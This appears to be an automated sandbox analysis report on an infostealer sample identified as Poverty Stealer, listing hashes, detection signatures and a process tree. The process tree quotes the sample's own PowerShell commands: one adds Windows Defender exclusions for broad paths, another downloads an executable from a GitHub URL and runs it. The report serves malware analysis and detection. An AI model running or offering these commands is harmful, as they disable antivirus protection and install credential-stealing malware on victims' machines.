Analysis

  • max time kernel
    104s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250313-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/03/2025, 16:28

General

  • Target

    2025-03-31_78f026bbf3872e33c80f58b2aeb5b376_black-basta_cobalt-strike_satacom.exe

  • Size

    356KB

  • MD5

    78f026bbf3872e33c80f58b2aeb5b376

  • SHA1

    1650fd7bd7eecb5ca03bb4bca78ffb49e860eb5d

  • SHA256

    9346689e8eda0f44f2d5a66b81398e8358906c879a568038756e01d1d99c1c33

  • SHA512

    890c0302f21869b488cc39518855a37214b5649729c9b880e114944b8bf0c2dbac7889928ab3c493d6d04428032328f9090ef42274d1f5918abf7779a78b9202

  • SSDEEP

    6144:Mrgjoi8Suh6lw+JA+ZsP3Z8sJuZWLFUosnPs++:Mi8bh6Ch+ZsPpzuZWeosn

Malware Config

Signatures

  • Detect Poverty Stealer Payload 1 IoCs
  • Poverty Stealer

    Poverty Stealer is a crypto and infostealer written in C++.

  • Povertystealer family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-03-31_78f026bbf3872e33c80f58b2aeb5b376_black-basta_cobalt-strike_satacom.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-03-31_78f026bbf3872e33c80f58b2aeb5b376_black-basta_cobalt-strike_satacom.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1896
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\bulypacetbz', 'C:\Users', 'C:\ProgramData'"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4480
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\bulypacetbz', 'C:\Users', 'C:\ProgramData'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4656
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/diperkla/deljack/raw/refs/heads/main/loptyiopppasss.exe' -OutFile 'C:\Users\Admin\AppData\Local\bulypacetbz\grahdjgd.exe'"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5960
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Invoke-WebRequest -Uri 'https://github.com/diperkla/deljack/raw/refs/heads/main/loptyiopppasss.exe' -OutFile 'C:\Users\Admin\AppData\Local\bulypacetbz\grahdjgd.exe'"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4720
    • C:\Users\Admin\AppData\Local\bulypacetbz\grahdjgd.exe
      "C:\Users\Admin\AppData\Local\bulypacetbz\grahdjgd.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3708

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    b1761516efb31557634d783c4ba6c78a

    SHA1

    2e1cb494796983fab11ac5f1630940e1ced086f0

    SHA256

    ad4681b1a04a894525509b5614891dd373c06da7f971296b6adb5d69ddf7b5b9

    SHA512

    42c93285e870463dd10c8f3eca15fe83b8e6c0a2231f67e3c3d0d257044e4b035a09be64680558aa03bf8daafcbf8824550625d74cbd6ee95ca8a31bca5b6c0e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uy1zsewp.lx3.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\bulypacetbz\grahdjgd.exe

    Filesize

    29KB

    MD5

    36bd19a3c7ba9fec06bef79a7dafb9a2

    SHA1

    946cb3e20f5cbd1ef39226b3ea0154a98aad6920

    SHA256

    e5684da4c63e798db519689da67bbb49d08a9daaae449ead0f271ef729f75ded

    SHA512

    ca5d1b7b15cafb97976b6fe53c407aed25494018c7b89f97514fc2290214a555db0a7a60f8d906d12857628a6aaef54bd4eb57e0a4da631e0a3d989dacbe6fa6

  • memory/4656-11-0x00007FF84FBA0000-0x00007FF850661000-memory.dmp

    Filesize

    10.8MB

  • memory/4656-15-0x00007FF84FBA0000-0x00007FF850661000-memory.dmp

    Filesize

    10.8MB

  • memory/4656-12-0x00007FF84FBA0000-0x00007FF850661000-memory.dmp

    Filesize

    10.8MB

  • memory/4656-0-0x00007FF84FBA3000-0x00007FF84FBA5000-memory.dmp

    Filesize

    8KB

  • memory/4656-1-0x000001D5B7B00000-0x000001D5B7B22000-memory.dmp

    Filesize

    136KB

  • memory/4720-17-0x00007FF84FBA0000-0x00007FF850661000-memory.dmp

    Filesize

    10.8MB

  • memory/4720-18-0x00007FF84FBA0000-0x00007FF850661000-memory.dmp

    Filesize

    10.8MB

  • memory/4720-28-0x00007FF84FBA0000-0x00007FF850661000-memory.dmp

    Filesize

    10.8MB

  • memory/4720-32-0x00007FF84FBA0000-0x00007FF850661000-memory.dmp

    Filesize

    10.8MB